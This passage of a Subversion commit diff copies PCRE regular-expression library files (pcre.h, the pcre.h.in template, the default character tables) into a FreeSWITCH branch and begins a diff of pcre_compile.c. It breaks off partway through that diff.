+
+/* Request types for pcre_config(). Do not re-arrange, in order to remain
+compatible. */
+
+#define PCRE_CONFIG_UTF8                    0
+#define PCRE_CONFIG_NEWLINE                 1
+#define PCRE_CONFIG_LINK_SIZE               2
+#define PCRE_CONFIG_POSIX_MALLOC_THRESHOLD  3
+#define PCRE_CONFIG_MATCH_LIMIT             4
+#define PCRE_CONFIG_STACKRECURSE            5
+#define PCRE_CONFIG_UNICODE_PROPERTIES      6
+#define PCRE_CONFIG_MATCH_LIMIT_RECURSION   7
+#define PCRE_CONFIG_BSR                     8
+
+/* Bit flags for the pcre_extra structure. Do not re-arrange or redefine
+these bits, just add new ones on the end, in order to remain compatible. */
+
+#define PCRE_EXTRA_STUDY_DATA             0x0001
+#define PCRE_EXTRA_MATCH_LIMIT            0x0002
+#define PCRE_EXTRA_CALLOUT_DATA           0x0004
+#define PCRE_EXTRA_TABLES                 0x0008
+#define PCRE_EXTRA_MATCH_LIMIT_RECURSION  0x0010
+
+/* Types */
+
+struct real_pcre;                 /* declaration; the definition is private  */
+typedef struct real_pcre pcre;
+
+/* When PCRE is compiled as a C++ library, the subject pointer type can be
+replaced with a custom type. For conventional use, the public interface is a
+const char *. */
+
+#ifndef PCRE_SPTR
+#define PCRE_SPTR const char *
+#endif
+
+/* The structure for passing additional data to pcre_exec(). This is defined in
+such as way as to be extensible. Always add new fields at the end, in order to
+remain compatible. */
+
+typedef struct pcre_extra {
+  unsigned long int flags;        /* Bits for which fields are set */
+  void *study_data;               /* Opaque data from pcre_study() */
+  unsigned long int match_limit;  /* Maximum number of calls to match() */
+  void *callout_data;             /* Data passed back in callouts */
+  const unsigned char *tables;    /* Pointer to character tables */
+  unsigned long int match_limit_recursion; /* Max recursive calls to match() */
+} pcre_extra;
+
+/* The structure for passing out data via the pcre_callout_function. We use a
+structure so that new fields can be added on the end in future versions,
+without changing the API of the function, thereby allowing old clients to work
+without modification. */
+
+typedef struct pcre_callout_block {
+  int          version;           /* Identifies version of block */
+  /* ------------------------ Version 0 ------------------------------- */
+  int          callout_number;    /* Number compiled into pattern */
+  int         *offset_vector;     /* The offset vector */
+  PCRE_SPTR    subject;           /* The subject being matched */
+  int          subject_length;    /* The length of the subject */
+  int          start_match;       /* Offset to start of this match attempt */
+  int          current_position;  /* Where we currently are in the subject */
+  int          capture_top;       /* Max current capture */
+  int          capture_last;      /* Most recently closed capture */
+  void        *callout_data;      /* Data passed in with the call */
+  /* ------------------- Added for Version 1 -------------------------- */
+  int          pattern_position;  /* Offset to next item in the pattern */
+  int          next_item_length;  /* Length of next item in the pattern */
+  /* ------------------------------------------------------------------ */
+} pcre_callout_block;
+
+/* Indirection for store get and free functions. These can be set to
+alternative malloc/free functions if required. Special ones are used in the
+non-recursive case for "frames". There is also an optional callout function
+that is triggered by the (?) regex item. For Virtual Pascal, these definitions
+have to take another form. */
+
+#ifndef VPCOMPAT
+PCRE_EXP_DECL void *(*pcre_malloc)(size_t);
+PCRE_EXP_DECL void  (*pcre_free)(void *);
+PCRE_EXP_DECL void *(*pcre_stack_malloc)(size_t);
+PCRE_EXP_DECL void  (*pcre_stack_free)(void *);
+PCRE_EXP_DECL int   (*pcre_callout)(pcre_callout_block *);
+#else   /* VPCOMPAT */
+PCRE_EXP_DECL void *pcre_malloc(size_t);
+PCRE_EXP_DECL void  pcre_free(void *);
+PCRE_EXP_DECL void *pcre_stack_malloc(size_t);
+PCRE_EXP_DECL void  pcre_stack_free(void *);
+PCRE_EXP_DECL int   pcre_callout(pcre_callout_block *);
+#endif  /* VPCOMPAT */
+
+/* Exported PCRE functions */
+
+PCRE_EXP_DECL pcre *pcre_compile(const char *, int, const char **, int *,
+                  const unsigned char *);
+PCRE_EXP_DECL pcre *pcre_compile2(const char *, int, int *, const char **,
+                  int *, const unsigned char *);
+PCRE_EXP_DECL int  pcre_config(int, void *);
+PCRE_EXP_DECL int  pcre_copy_named_substring(const pcre *, const char *,
+                  int *, int, const char *, char *, int);
+PCRE_EXP_DECL int  pcre_copy_substring(const char *, int *, int, int, char *,
+                  int);
+PCRE_EXP_DECL int  pcre_dfa_exec(const pcre *, const pcre_extra *,
+                  const char *, int, int, int, int *, int , int *, int);
+PCRE_EXP_DECL int  pcre_exec(const pcre *, const pcre_extra *, PCRE_SPTR,
+                   int, int, int, int *, int);
+PCRE_EXP_DECL void pcre_free_substring(const char *);
+PCRE_EXP_DECL void pcre_free_substring_list(const char **);
+PCRE_EXP_DECL int  pcre_fullinfo(const pcre *, const pcre_extra *, int,
+                  void *);
+PCRE_EXP_DECL int  pcre_get_named_substring(const pcre *, const char *,
+                  int *, int, const char *, const char **);
+PCRE_EXP_DECL int  pcre_get_stringnumber(const pcre *, const char *);
+PCRE_EXP_DECL int  pcre_get_stringtable_entries(const pcre *, const char *,
+                  char **, char **);
+PCRE_EXP_DECL int  pcre_get_substring(const char *, int *, int, int,
+                  const char **);
+PCRE_EXP_DECL int  pcre_get_substring_list(const char *, int *, int,
+                  const char ***);
+PCRE_EXP_DECL int  pcre_info(const pcre *, int *, int *);
+PCRE_EXP_DECL const unsigned char *pcre_maketables(void);
+PCRE_EXP_DECL int  pcre_refcount(pcre *, int);
+PCRE_EXP_DECL pcre_extra *pcre_study(const pcre *, int, const char **);
+PCRE_EXP_DECL const char *pcre_version(void);
+
+#ifdef __cplusplus
+}  /* extern "C" */
+#endif
+
+#endif /* End of pcre.h */

Copied: freeswitch/branches/seven/libs/pcre/pcre.h.in (from rev 14471, freeswitch/trunk/libs/pcre/pcre.h.in) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcre.h.in	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/pcre.h.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,307 @@
+/*************************************************
+*       Perl-Compatible Regular Expressions      *
+*************************************************/
+
+/* This is the public header file for the PCRE library, to be #included by
+applications that call the PCRE functions.
+
+           Copyright (c) 1997-2009 University of Cambridge
+
+-----------------------------------------------------------------------------
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+
+    * Redistributions of source code must retain the above copyright notice,
+      this list of conditions and the following disclaimer.
+
+    * Redistributions in binary form must reproduce the above copyright
+      notice, this list of conditions and the following disclaimer in the
+      documentation and/or other materials provided with the distribution.
+
+    * Neither the name of the University of Cambridge nor the names of its
+      contributors may be used to endorse or promote products derived from
+      this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
+LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGE.
+-----------------------------------------------------------------------------
+*/
+
+#ifndef _PCRE_H
+#define _PCRE_H
+
+/* The current PCRE version information. */
+
+#define PCRE_MAJOR          @PCRE_MAJOR@
+#define PCRE_MINOR          @PCRE_MINOR@
+#define PCRE_PRERELEASE     @PCRE_PRERELEASE@
+#define PCRE_DATE           @PCRE_DATE@
+
+/* When an application links to a PCRE DLL in Windows, the symbols that are
+imported have to be identified as such. When building PCRE, the appropriate
+export setting is defined in pcre_internal.h, which includes this file. So we
+don't change existing definitions of PCRE_EXP_DECL and PCRECPP_EXP_DECL. */
+
+#if defined(_WIN32) && !defined(PCRE_STATIC)
+#  ifndef PCRE_EXP_DECL
+#    define PCRE_EXP_DECL  extern __declspec(dllimport)
+#  endif
+#  ifdef __cplusplus
+#    ifndef PCRECPP_EXP_DECL
+#      define PCRECPP_EXP_DECL  extern __declspec(dllimport)
+#    endif
+#    ifndef PCRECPP_EXP_DEFN
+#      define PCRECPP_EXP_DEFN  __declspec(dllimport)
+#    endif
+#  endif
+#endif
+
+/* By default, we use the standard "extern" declarations. */
+
+#ifndef PCRE_EXP_DECL
+#  ifdef __cplusplus
+#    define PCRE_EXP_DECL  extern "C"
+#  else
+#    define PCRE_EXP_DECL  extern
+#  endif
+#endif
+
+#ifdef __cplusplus
+#  ifndef PCRECPP_EXP_DECL
+#    define PCRECPP_EXP_DECL  extern
+#  endif
+#  ifndef PCRECPP_EXP_DEFN
+#    define PCRECPP_EXP_DEFN
+#  endif
+#endif
+
+/* Have to include stdlib.h in order to ensure that size_t is defined;
+it is needed here for malloc. */
+
+#include <stdlib.h>
+
+/* Allow for C++ users */
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+/* Options. Some are compile-time only, some are run-time only, and some are
+both, so we keep them all distinct. */
+
+#define PCRE_CASELESS           0x00000001
+#define PCRE_MULTILINE          0x00000002
+#define PCRE_DOTALL             0x00000004
+#define PCRE_EXTENDED           0x00000008
+#define PCRE_ANCHORED           0x00000010
+#define PCRE_DOLLAR_ENDONLY     0x00000020
+#define PCRE_EXTRA              0x00000040
+#define PCRE_NOTBOL             0x00000080
+#define PCRE_NOTEOL             0x00000100
+#define PCRE_UNGREEDY           0x00000200
+#define PCRE_NOTEMPTY           0x00000400
+#define PCRE_UTF8               0x00000800
+#define PCRE_NO_AUTO_CAPTURE    0x00001000
+#define PCRE_NO_UTF8_CHECK      0x00002000
+#define PCRE_AUTO_CALLOUT       0x00004000
+#define PCRE_PARTIAL            0x00008000
+#define PCRE_DFA_SHORTEST       0x00010000
+#define PCRE_DFA_RESTART        0x00020000
+#define PCRE_FIRSTLINE          0x00040000
+#define PCRE_DUPNAMES           0x00080000
+#define PCRE_NEWLINE_CR         0x00100000
+#define PCRE_NEWLINE_LF         0x00200000
+#define PCRE_NEWLINE_CRLF       0x00300000
+#define PCRE_NEWLINE_ANY        0x00400000
+#define PCRE_NEWLINE_ANYCRLF    0x00500000
+#define PCRE_BSR_ANYCRLF        0x00800000
+#define PCRE_BSR_UNICODE        0x01000000
+#define PCRE_JAVASCRIPT_COMPAT  0x02000000
+#define PCRE_NO_START_OPTIMIZE  0x04000000
+#define PCRE_NO_START_OPTIMISE  0x04000000
+
+/* Exec-time and get/set-time error codes */
+
+#define PCRE_ERROR_NOMATCH         (-1)
+#define PCRE_ERROR_NULL            (-2)
+#define PCRE_ERROR_BADOPTION       (-3)
+#define PCRE_ERROR_BADMAGIC        (-4)
+#define PCRE_ERROR_UNKNOWN_OPCODE  (-5)
+#define PCRE_ERROR_UNKNOWN_NODE    (-5)  /* For backward compatibility */
+#define PCRE_ERROR_NOMEMORY        (-6)
+#define PCRE_ERROR_NOSUBSTRING     (-7)
+#define PCRE_ERROR_MATCHLIMIT      (-8)
+#define PCRE_ERROR_CALLOUT         (-9)  /* Never used by PCRE itself */
+#define PCRE_ERROR_BADUTF8        (-10)
+#define PCRE_ERROR_BADUTF8_OFFSET (-11)
+#define PCRE_ERROR_PARTIAL        (-12)
+#define PCRE_ERROR_BADPARTIAL     (-13)
+#define PCRE_ERROR_INTERNAL       (-14)
+#define PCRE_ERROR_BADCOUNT       (-15)
+#define PCRE_ERROR_DFA_UITEM      (-16)
+#define PCRE_ERROR_DFA_UCOND      (-17)
+#define PCRE_ERROR_DFA_UMLIMIT    (-18)
+#define PCRE_ERROR_DFA_WSSIZE     (-19)
+#define PCRE_ERROR_DFA_RECURSE    (-20)
+#define PCRE_ERROR_RECURSIONLIMIT (-21)
+#define PCRE_ERROR_NULLWSLIMIT    (-22)  /* No longer actually used */
+#define PCRE_ERROR_BADNEWLINE     (-23)
+
+/* Request types for pcre_fullinfo() */
+
+#define PCRE_INFO_OPTIONS            0
+#define PCRE_INFO_SIZE               1
+#define PCRE_INFO_CAPTURECOUNT       2
+#define PCRE_INFO_BACKREFMAX         3
+#define PCRE_INFO_FIRSTBYTE          4
+#define PCRE_INFO_FIRSTCHAR          4  /* For backwards compatibility */
+#define PCRE_INFO_FIRSTTABLE         5
+#define PCRE_INFO_LASTLITERAL        6
+#define PCRE_INFO_NAMEENTRYSIZE      7
+#define PCRE_INFO_NAMECOUNT          8
+#define PCRE_INFO_NAMETABLE          9
+#define PCRE_INFO_STUDYSIZE         10
+#define PCRE_INFO_DEFAULT_TABLES    11
+#define PCRE_INFO_OKPARTIAL         12
+#define PCRE_INFO_JCHANGED          13
+#define PCRE_INFO_HASCRORLF         14
+
+/* Request types for pcre_config(). Do not re-arrange, in order to remain
+compatible. */
+
+#define PCRE_CONFIG_UTF8                    0
+#define PCRE_CONFIG_NEWLINE                 1
+#define PCRE_CONFIG_LINK_SIZE               2
+#define PCRE_CONFIG_POSIX_MALLOC_THRESHOLD  3
+#define PCRE_CONFIG_MATCH_LIMIT             4
+#define PCRE_CONFIG_STACKRECURSE            5
+#define PCRE_CONFIG_UNICODE_PROPERTIES      6
+#define PCRE_CONFIG_MATCH_LIMIT_RECURSION   7
+#define PCRE_CONFIG_BSR                     8
+
+/* Bit flags for the pcre_extra structure. Do not re-arrange or redefine
+these bits, just add new ones on the end, in order to remain compatible. */
+
+#define PCRE_EXTRA_STUDY_DATA             0x0001
+#define PCRE_EXTRA_MATCH_LIMIT            0x0002
+#define PCRE_EXTRA_CALLOUT_DATA           0x0004
+#define PCRE_EXTRA_TABLES                 0x0008
+#define PCRE_EXTRA_MATCH_LIMIT_RECURSION  0x0010
+
+/* Types */
+
+struct real_pcre;                 /* declaration; the definition is private  */
+typedef struct real_pcre pcre;
+
+/* When PCRE is compiled as a C++ library, the subject pointer type can be
+replaced with a custom type. For conventional use, the public interface is a
+const char *. */
+
+#ifndef PCRE_SPTR
+#define PCRE_SPTR const char *
+#endif
+
+/* The structure for passing additional data to pcre_exec(). This is defined in
+such as way as to be extensible. Always add new fields at the end, in order to
+remain compatible. */
+
+typedef struct pcre_extra {
+  unsigned long int flags;        /* Bits for which fields are set */
+  void *study_data;               /* Opaque data from pcre_study() */
+  unsigned long int match_limit;  /* Maximum number of calls to match() */
+  void *callout_data;             /* Data passed back in callouts */
+  const unsigned char *tables;    /* Pointer to character tables */
+  unsigned long int match_limit_recursion; /* Max recursive calls to match() */
+} pcre_extra;
+
+/* The structure for passing out data via the pcre_callout_function. We use a
+structure so that new fields can be added on the end in future versions,
+without changing the API of the function, thereby allowing old clients to work
+without modification. */
+
+typedef struct pcre_callout_block {
+  int          version;           /* Identifies version of block */
+  /* ------------------------ Version 0 ------------------------------- */
+  int          callout_number;    /* Number compiled into pattern */
+  int         *offset_vector;     /* The offset vector */
+  PCRE_SPTR    subject;           /* The subject being matched */
+  int          subject_length;    /* The length of the subject */
+  int          start_match;       /* Offset to start of this match attempt */
+  int          current_position;  /* Where we currently are in the subject */
+  int          capture_top;       /* Max current capture */
+  int          capture_last;      /* Most recently closed capture */
+  void        *callout_data;      /* Data passed in with the call */
+  /* ------------------- Added for Version 1 -------------------------- */
+  int          pattern_position;  /* Offset to next item in the pattern */
+  int          next_item_length;  /* Length of next item in the pattern */
+  /* ------------------------------------------------------------------ */
+} pcre_callout_block;
+
+/* Indirection for store get and free functions. These can be set to
+alternative malloc/free functions if required. Special ones are used in the
+non-recursive case for "frames". There is also an optional callout function
+that is triggered by the (?) regex item. For Virtual Pascal, these definitions
+have to take another form. */
+
+#ifndef VPCOMPAT
+PCRE_EXP_DECL void *(*pcre_malloc)(size_t);
+PCRE_EXP_DECL void  (*pcre_free)(void *);
+PCRE_EXP_DECL void *(*pcre_stack_malloc)(size_t);
+PCRE_EXP_DECL void  (*pcre_stack_free)(void *);
+PCRE_EXP_DECL int   (*pcre_callout)(pcre_callout_block *);
+#else   /* VPCOMPAT */
+PCRE_EXP_DECL void *pcre_malloc(size_t);
+PCRE_EXP_DECL void  pcre_free(void *);
+PCRE_EXP_DECL void *pcre_stack_malloc(size_t);
+PCRE_EXP_DECL void  pcre_stack_free(void *);
+PCRE_EXP_DECL int   pcre_callout(pcre_callout_block *);
+#endif  /* VPCOMPAT */
+
+/* Exported PCRE functions */
+
+PCRE_EXP_DECL pcre *pcre_compile(const char *, int, const char **, int *,
+                  const unsigned char *);
+PCRE_EXP_DECL pcre *pcre_compile2(const char *, int, int *, const char **,
+                  int *, const unsigned char *);
+PCRE_EXP_DECL int  pcre_config(int, void *);
+PCRE_EXP_DECL int  pcre_copy_named_substring(const pcre *, const char *,
+                  int *, int, const char *, char *, int);
+PCRE_EXP_DECL int  pcre_copy_substring(const char *, int *, int, int, char *,
+                  int);
+PCRE_EXP_DECL int  pcre_dfa_exec(const pcre *, const pcre_extra *,
+                  const char *, int, int, int, int *, int , int *, int);
+PCRE_EXP_DECL int  pcre_exec(const pcre *, const pcre_extra *, PCRE_SPTR,
+                   int, int, int, int *, int);
+PCRE_EXP_DECL void pcre_free_substring(const char *);
+PCRE_EXP_DECL void pcre_free_substring_list(const char **);
+PCRE_EXP_DECL int  pcre_fullinfo(const pcre *, const pcre_extra *, int,
+                  void *);
+PCRE_EXP_DECL int  pcre_get_named_substring(const pcre *, const char *,
+                  int *, int, const char *, const char **);
+PCRE_EXP_DECL int  pcre_get_stringnumber(const pcre *, const char *);
+PCRE_EXP_DECL int  pcre_get_stringtable_entries(const pcre *, const char *,
+                  char **, char **);
+PCRE_EXP_DECL int  pcre_get_substring(const char *, int *, int, int,
+                  const char **);
+PCRE_EXP_DECL int  pcre_get_substring_list(const char *, int *, int,
+                  const char ***);
+PCRE_EXP_DECL int  pcre_info(const pcre *, int *, int *);
+PCRE_EXP_DECL const unsigned char *pcre_maketables(void);
+PCRE_EXP_DECL int  pcre_refcount(pcre *, int);
+PCRE_EXP_DECL pcre_extra *pcre_study(const pcre *, int, const char **);
+PCRE_EXP_DECL const char *pcre_version(void);
+
+#ifdef __cplusplus
+}  /* extern "C" */
+#endif
+
+#endif /* End of pcre.h */

Copied: freeswitch/branches/seven/libs/pcre/pcre_chartables.c.dist (from rev 14471, freeswitch/trunk/libs/pcre/pcre_chartables.c.dist) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcre_chartables.c.dist	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/pcre_chartables.c.dist	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,198 @@
+/*************************************************
+*      Perl-Compatible Regular Expressions       *
+*************************************************/
+
+/* This file contains character tables that are used when no external tables
+are passed to PCRE by the application that calls it. The tables are used only
+for characters whose code values are less than 256.
+
+This is a default version of the tables that assumes ASCII encoding. A program
+called dftables (which is distributed with PCRE) can be used to build
+alternative versions of this file. This is necessary if you are running in an
+EBCDIC environment, or if you want to default to a different encoding, for
+example ISO-8859-1. When dftables is run, it creates these tables in the
+current locale. If PCRE is configured with --enable-rebuild-chartables, this
+happens automatically.
+
+The following #includes are present because without the gcc 4.x may remove the
+array definition from the final binary if PCRE is built into a static library
+and dead code stripping is activated. This leads to link errors. Pulling in the
+header ensures that the array gets flagged as "someone outside this compilation
+unit might reference this" and so it will always be supplied to the linker. */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include "pcre_internal.h"
+
+const unsigned char _pcre_default_tables[] = {
+
+/* This table is a lower casing table. */
+
+    0,  1,  2,  3,  4,  5,  6,  7,
+    8,  9, 10, 11, 12, 13, 14, 15,
+   16, 17, 18, 19, 20, 21, 22, 23,
+   24, 25, 26, 27, 28, 29, 30, 31,
+   32, 33, 34, 35, 36, 37, 38, 39,
+   40, 41, 42, 43, 44, 45, 46, 47,
+   48, 49, 50, 51, 52, 53, 54, 55,
+   56, 57, 58, 59, 60, 61, 62, 63,
+   64, 97, 98, 99,100,101,102,103,
+  104,105,106,107,108,109,110,111,
+  112,113,114,115,116,117,118,119,
+  120,121,122, 91, 92, 93, 94, 95,
+   96, 97, 98, 99,100,101,102,103,
+  104,105,106,107,108,109,110,111,
+  112,113,114,115,116,117,118,119,
+  120,121,122,123,124,125,126,127,
+  128,129,130,131,132,133,134,135,
+  136,137,138,139,140,141,142,143,
+  144,145,146,147,148,149,150,151,
+  152,153,154,155,156,157,158,159,
+  160,161,162,163,164,165,166,167,
+  168,169,170,171,172,173,174,175,
+  176,177,178,179,180,181,182,183,
+  184,185,186,187,188,189,190,191,
+  192,193,194,195,196,197,198,199,
+  200,201,202,203,204,205,206,207,
+  208,209,210,211,212,213,214,215,
+  216,217,218,219,220,221,222,223,
+  224,225,226,227,228,229,230,231,
+  232,233,234,235,236,237,238,239,
+  240,241,242,243,244,245,246,247,
+  248,249,250,251,252,253,254,255,
+
+/* This table is a case flipping table. */
+
+    0,  1,  2,  3,  4,  5,  6,  7,
+    8,  9, 10, 11, 12, 13, 14, 15,
+   16, 17, 18, 19, 20, 21, 22, 23,
+   24, 25, 26, 27, 28, 29, 30, 31,
+   32, 33, 34, 35, 36, 37, 38, 39,
+   40, 41, 42, 43, 44, 45, 46, 47,
+   48, 49, 50, 51, 52, 53, 54, 55,
+   56, 57, 58, 59, 60, 61, 62, 63,
+   64, 97, 98, 99,100,101,102,103,
+  104,105,106,107,108,109,110,111,
+  112,113,114,115,116,117,118,119,
+  120,121,122, 91, 92, 93, 94, 95,
+   96, 65, 66, 67, 68, 69, 70, 71,
+   72, 73, 74, 75, 76, 77, 78, 79,
+   80, 81, 82, 83, 84, 85, 86, 87,
+   88, 89, 90,123,124,125,126,127,
+  128,129,130,131,132,133,134,135,
+  136,137,138,139,140,141,142,143,
+  144,145,146,147,148,149,150,151,
+  152,153,154,155,156,157,158,159,
+  160,161,162,163,164,165,166,167,
+  168,169,170,171,172,173,174,175,
+  176,177,178,179,180,181,182,183,
+  184,185,186,187,188,189,190,191,
+  192,193,194,195,196,197,198,199,
+  200,201,202,203,204,205,206,207,
+  208,209,210,211,212,213,214,215,
+  216,217,218,219,220,221,222,223,
+  224,225,226,227,228,229,230,231,
+  232,233,234,235,236,237,238,239,
+  240,241,242,243,244,245,246,247,
+  248,249,250,251,252,253,254,255,
+
+/* This table contains bit maps for various character classes. Each map is 32
+bytes long and the bits run from the least significant end of each byte. The
+classes that have their own maps are: space, xdigit, digit, upper, lower, word,
+graph, print, punct, and cntrl. Other classes are built from combinations. */
+
+  0x00,0x3e,0x00,0x00,0x01,0x00,0x00,0x00,
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+
+  0x00,0x00,0x00,0x00,0x00,0x00,0xff,0x03,
+  0x7e,0x00,0x00,0x00,0x7e,0x00,0x00,0x00,
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+
+  0x00,0x00,0x00,0x00,0x00,0x00,0xff,0x03,
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+  0xfe,0xff,0xff,0x07,0x00,0x00,0x00,0x00,
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+  0x00,0x00,0x00,0x00,0xfe,0xff,0xff,0x07,
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+
+  0x00,0x00,0x00,0x00,0x00,0x00,0xff,0x03,
+  0xfe,0xff,0xff,0x87,0xfe,0xff,0xff,0x07,
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+
+  0x00,0x00,0x00,0x00,0xfe,0xff,0xff,0xff,
+  0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x7f,
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+
+  0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,
+  0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x7f,
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+
+  0x00,0x00,0x00,0x00,0xfe,0xff,0x00,0xfc,
+  0x01,0x00,0x00,0xf8,0x01,0x00,0x00,0x78,
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+
+  0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
+
+/* This table identifies various classes of character by individual bits:
+  0x01   white space character
+  0x02   letter
+  0x04   decimal digit
+  0x08   hexadecimal digit
+  0x10   alphanumeric or '_'
+  0x80   regular expression metacharacter or binary zero
+*/
+
+  0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /*   0-  7 */
+  0x00,0x01,0x01,0x00,0x01,0x01,0x00,0x00, /*   8- 15 */
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /*  16- 23 */
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /*  24- 31 */
+  0x01,0x00,0x00,0x00,0x80,0x00,0x00,0x00, /*    - '  */
+  0x80,0x80,0x80,0x80,0x00,0x00,0x80,0x00, /*  ( - /  */
+  0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c, /*  0 - 7  */
+  0x1c,0x1c,0x00,0x00,0x00,0x00,0x00,0x80, /*  8 - ?  */
+  0x00,0x1a,0x1a,0x1a,0x1a,0x1a,0x1a,0x12, /*  @ - G  */
+  0x12,0x12,0x12,0x12,0x12,0x12,0x12,0x12, /*  H - O  */
+  0x12,0x12,0x12,0x12,0x12,0x12,0x12,0x12, /*  P - W  */
+  0x12,0x12,0x12,0x80,0x80,0x00,0x80,0x10, /*  X - _  */
+  0x00,0x1a,0x1a,0x1a,0x1a,0x1a,0x1a,0x12, /*  ` - g  */
+  0x12,0x12,0x12,0x12,0x12,0x12,0x12,0x12, /*  h - o  */
+  0x12,0x12,0x12,0x12,0x12,0x12,0x12,0x12, /*  p - w  */
+  0x12,0x12,0x12,0x80,0x80,0x00,0x00,0x00, /*  x -127 */
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 128-135 */
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 136-143 */
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 144-151 */
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 152-159 */
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 160-167 */
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 168-175 */
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 176-183 */
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 184-191 */
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 192-199 */
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 200-207 */
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 208-215 */
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 216-223 */
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 224-231 */
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 232-239 */
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 240-247 */
+  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};/* 248-255 */
+
+/* End of pcre_chartables.c */

Modified: freeswitch/branches/seven/libs/pcre/pcre_compile.c (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcre_compile.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/pcre_compile.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -6,7 +6,7 @@
 and semantics are as close as possible to those of the Perl 5 language.
 
                        Written by Philip Hazel
-           Copyright (c) 1997-2006 University of Cambridge
+           Copyright (c) 1997-2009 University of Cambridge
 
 -----------------------------------------------------------------------------
 Redistribution and use in source and binary forms, with or without
@@ -42,7 +42,14 @@
 supporting internal functions that are not used by other modules. */
 
 
-#define NLBLOCK cd            /* The block containing newline information */
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#define NLBLOCK cd             /* Block containing newline information */
+#define PSSTART start_pattern  /* Field containing processed string start */
+#define PSEND   end_pattern    /* Field containing processed string end */
+
 #include "pcre_internal.h"
 
 
@@ -54,40 +61,92 @@
 #endif
 
 
+/* Macro for setting individual bits in class bitmaps. */
 
+#define SETBIT(a,b) a[b/8] |= (1 << (b%8))
+
+/* Maximum length value to check against when making sure that the integer that
+holds the compiled pattern length does not overflow. We make it a bit less than
